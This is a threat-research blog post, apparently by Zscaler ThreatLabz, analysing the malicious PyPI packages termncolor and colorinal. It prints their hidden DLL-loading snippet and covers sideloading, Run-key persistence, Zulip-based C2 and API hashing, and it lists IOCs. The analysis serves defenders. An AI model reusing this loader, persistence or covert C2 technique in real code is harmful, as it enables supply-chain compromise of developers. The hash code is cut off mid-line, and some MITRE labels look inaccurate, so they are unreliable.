Blog da Zscaler
Receba as últimas atualizações do blog da Zscaler na sua caixa de entrada
Supply Chain Risk in Python: Termncolor and Colorinal Explained
Introduction
Zscaler ThreatLabz continually monitors threats in our Python scanning database, uncovering risks that may signal potential supply chain attacks. On July 22, 2025, ThreatLabz encountered a suspicious Python package named termncolor, which at first glance appeared benign but actually introduced malicious behavior through its dependency, colorinal.
In this blog post, ThreatLabz dives into termncolor and its role in enabling a multi-stage malware operation. This attack could leverage DLL sideloading to facilitate decryption, establish persistence, and conduct command-and-control (C2) communication, ending in remote code execution (RCE). Our analysis offers a detailed breakdown of the package, the malware's potential attack chain, and the final payload. Notably, the packages examined in this research have since been removed from the Python Package Index (PyPI).
Key Takeaways
- On July 22, 2025, ThreatLabz identified the Python package
termncolor, which imports a malicious dependency,colorinal, serving as the initial entry point for the attack. - Upon execution,
colorinalloads terminate.dll, which employs AES in CBC mode to decrypt and execute the hidden payload. - The malware deploys two files onto the system, a legitimate file named vcpktsvr.exe and a malicious component, libcef.dll, ensuring stealthy operation.
- libcef.dll collects system information and communicates with the command-and-control (C2) server using Zulip traffic patterns to disguise its activity.
- Persistence is achieved by creating a registry entry under the Windows Run key to ensure automatic execution of the malware at system startup.
Technical Analysis
Discovery of the malicious package
While monitoring for threats, ThreatLabz identified a Python package named termncolor, which imports a secondary package, colorinal, via pip. This package was flagged during routine scans in our Python package database, as illustrated in the figure below.

Figure 1: Shows the termncolor package as it appears in the Zscaler package hunting database.
While termncolor functions as a color utility for Python without displaying any malicious behavior, the inclusion of its external dependency, colorinal, raises concerns. The figure below illustrates the potential attack chain connected to the PyPI package discovery.

Figure 2: The attack chain illustrates how termncolor could import colorinal, which would trigger unicode.py to deploy a malicious DLL via sideloading.
File investigation (unicode.py)
ThreatLabz uncovered a critical file named unicode.py while investigating the colorinal package, which is pivotal to the malware's operation. At first glance, unicode.py looks like a normal Python script designed for terminal color utilities. However, our analysis revealed a method, is_color_supported, which loads an embedded DLL called terminate.dll. This DLL deploys the malware's payload, kicking off the first stage of the attack. To avoid detection, the malware deletes both unicode.py and terminate.dll after execution.
In the code sample below, the Python class ctypes.CDLL(...) loads the terminate.dll file into memory, making its functions accessible to Python. The DLL's file path is derived from the directory of the current Python script using os.path.dirname(__file__). Once loaded, the termin instance allows Python to interface with the DLL. The function then calls the export function envir from the loaded DLL, passing a UTF-8-encoded string, xterminalunicode, which appears to query the terminal's capabilities. The result of this query determines whether the terminal supports color.
def is_color_supported():
try:
"Find out if your terminal environment supports color."
termin = ctypes.CDLL(os.path.dirname(__file__) + "/" + "terminate.dll")
envir = termin.envir("xterminalunicode".encode("utf-8"))
First stage
The first stage of the malware operation is initiated by the execution of terminate.dll, as mentioned above. Below is a technical breakdown of the role terminate.dll plays in the attack.
Decryption of the payload
A core function of terminate.dll is to decrypt its embedded payload using AES in CBC mode. It uses a UTF-8-encoded key, xterminalunicode, provided by a Python script. Once deciphered, the payload reveals the files necessary to proceed to the next stage of the attack.
The decrypted payload is stored in the target system’s %LOCALAPPDATA%\vcpacket directory, which serves as the staging area for the next-stage files. Here, terminate.dll drops two distinct executables: vcpktsvr.exe, a signed file that appears legitimate and is used for DLL sideloading, and libcef.dll, a malicious DLL responsible for executing the malware’s harmful activities.
Persistence mechanism
To establish persistence, the malware creates a registry entry named pkt-update under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run. This entry points to the file vcpktsvr.exe, which was dropped into the %LOCALAPPDATA%\vcpacket directory as mentioned above.
Linux variant
The malware also includes a variant tailored for Linux systems, broadening its scope beyond Windows environments. The file terminate.so, as shown in the code sample below, is a Shared Object file, a dynamically linked library commonly used in Unix-like operating systems. Similar to its Windows counterpart, this file is designed to execute the same functionality on Linux systems.
def is_color_supported():
try:
"Find out if your terminal environment supports color."
termin = ctypes.CDLL(os.path.dirname(__file__) + "/" + "terminate.so")
envir = termin.envir("xterminalunicode".encode("utf-8"))
Second stage
System information discovery
The second stage begins with the execution of libcef.dll, the primary malicious component dropped in the first stage. Unlike the legitimate vcpktsvr.exe, libcef.dll is specifically designed to communicate with the threat actor-controlled C2 server and gather crucial system information, such as the computer name, username, and operating system version.
Command-and-control (C2) HTTPS communication
The sample concatenates all the strings and formats the collected system information for transmission to the C2 server using HTTPS. The malware leverages the Zulip team messaging platform, disguising its activity by mimicking legitimate communication patterns, as shown in the figure below.

Figure 3: Shows the malware communicating with the Zulip chat platform.
The collected data is sent to the Zulip channel, after which the malware resolves APIs via a custom hashing method (explained in the section below) and executes shellcode received from the threat actor in a new thread.
Techniques used by the threat actors
API hashing
The API hashing algorithm used by the threat actors appears to be a custom, lightweight hash function, likely designed for specific use cases such as obfuscating DLL or API names in low-level programming or malware. Its simplicity—relying on ASCII values, multiplication, and bitwise operations—makes it fast but potentially more prone to collisions compared to cryptographic hashes.
The Python code sample below shows the custom hashing algorithm.
def calculate_hash(name: str, case_sensitive: bool = False) -> int:
if not name:
return 12
hash_value = 12
string_to_hash = name
if not case_sensitive:
string_to_hash = name.upper()
current_char_value = ord(string_to_hash[0])
for i in range(1, len(string_to_hash) + 1):
temp_hash = current_char_value + 4 * hash_value
hash_value = (2 * temp_hash) & 0xFFFFFFFF
if i
Threat Actor Profile: Insights From Zulip Chat Platform
ThreatLabz analyzed the threat actor’s activity to identify patterns in their tactics and behavior. The key findings are outlined below:
- The threat actor used the email address [email protected] and user ID 937950. They joined July 15, 2025 at a local time of 10:20 AM.
- The threat actor’s organization includes three active users.
- A total of 90,692 messages were exchanged within the platform.
- File storage usage amounted to 23 MB.
- The threat actor’s activity trends show a steady increase in user engagement, with private channels accounting for 100% of messages.
- The highest volume of messages sent and read occurred in late July 2025.
- Client usage analytics show a preference for the Python API (3.2%) in transmitting messages, with the web app accounting for 0.11% and unspecified usage totaling 97%.
- The malware author appears to have been active since July 10, 2025; however, the C2 panel is currently offline.
Conclusion
The termncolor package and its malicious dependency colorinal highlight the importance of monitoring open-source ecosystems for potential supply chain attacks. Our analysis shows how threat actors could use seemingly benign Python packages to distribute multi-stage malware, leveraging techniques such as DLL sideloading, persistence mechanisms, and covert C2 communication. It’s important to note that the packages involved in this attack have been removed from PyPI.
Zscaler ThreatLabz remains committed to monitoring threats in widely used software repositories and sharing those findings with the wider security research community.
Zscaler Coverage
Zscaler’s multilayered cloud security platform detects indicators related to this threat at various levels. The figure below depicts the Zscaler Cloud Sandbox, showing detection details for this threat.

Figure 4: Zscaler Cloud Sandbox report for Xterminal.
In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to this threat at various levels with the following threat names:
Indicators Of Compromise (IOCs)
MD5 | Name |
|---|---|
381022e5fd0cede7146f9922e1ed30a3 | libcef.dll |
9267d9a72207df3217014f206ba18560 | vcpktsvr.exe |
1995682d600e329b7833003a01609252 | terminate.dll |
c5f0425dabd01d7ba80dfc3d5ca19841 | colorinal package (.whl - PyPI) |
7857238199018edc0ad7cd4d851c5a9b | termncolor (.whl package - PyPI) |
C2 | helper[.zulpichat[.com |
5152410aeef667ffaf42d40746af4d84 | Linux Python package |
38b75af6cbdb60127decd59140d10640 | terminal.so |
db69c6bfbf6575e0d887351265165e6e | Malicious ELF backdoor |
MITRE ATT&CK Techniques
Tactic | ID | Technique Name | Description |
|---|---|---|---|
Execution | T1059 | Dynamic Code Execution | Executes code dynamically within memory to evade security mechanisms. |
Persistence/Defense Evasion | T1073 | DLL Sideloading | Loads malicious DLLs to execute arbitrary code in the place of legitimate functions. |
Command and Control | T1071 | Distorted API Calls via Zulip-style Communication to Remote C2 Server | Utilizes obscured or unusual communication protocols for C2 server communication. |
Discovery | T1082 | System Information Discovery | Gathers detailed system information such as computer name, user name, OS version, and hardware IDs. |
Execution | T1085 | Rundll32 | Uses the legitimate Rundll32 program to execute malicious code. |
Esta postagem foi útil??
Aviso legal: este post no blog foi criado pela Zscaler apenas para fins informativos e é fornecido "no estado em que se encontra", sem quaisquer garantias de exatidão, integridade ou confiabilidade. A Zscaler não se responsabiliza por quaisquer erros, omissões ou por quaisquer ações tomadas com base nas informações fornecidas. Quaisquer sites ou recursos de terceiros vinculados neste post são fornecidos apenas para sua conveniência, e a Zscaler não se responsabiliza por seu conteúdo ou práticas. Todo o conteúdo está sujeito a alterações sem aviso prévio. Ao acessar este blog, você concorda com estes termos e reconhece que é de sua exclusiva responsabilidade verificar e utilizar as informações conforme apropriado para suas necessidades.
Receba as últimas atualizações do blog da Zscaler na sua caixa de entrada
Ao enviar o formulário, você concorda com nossa política de privacidade.


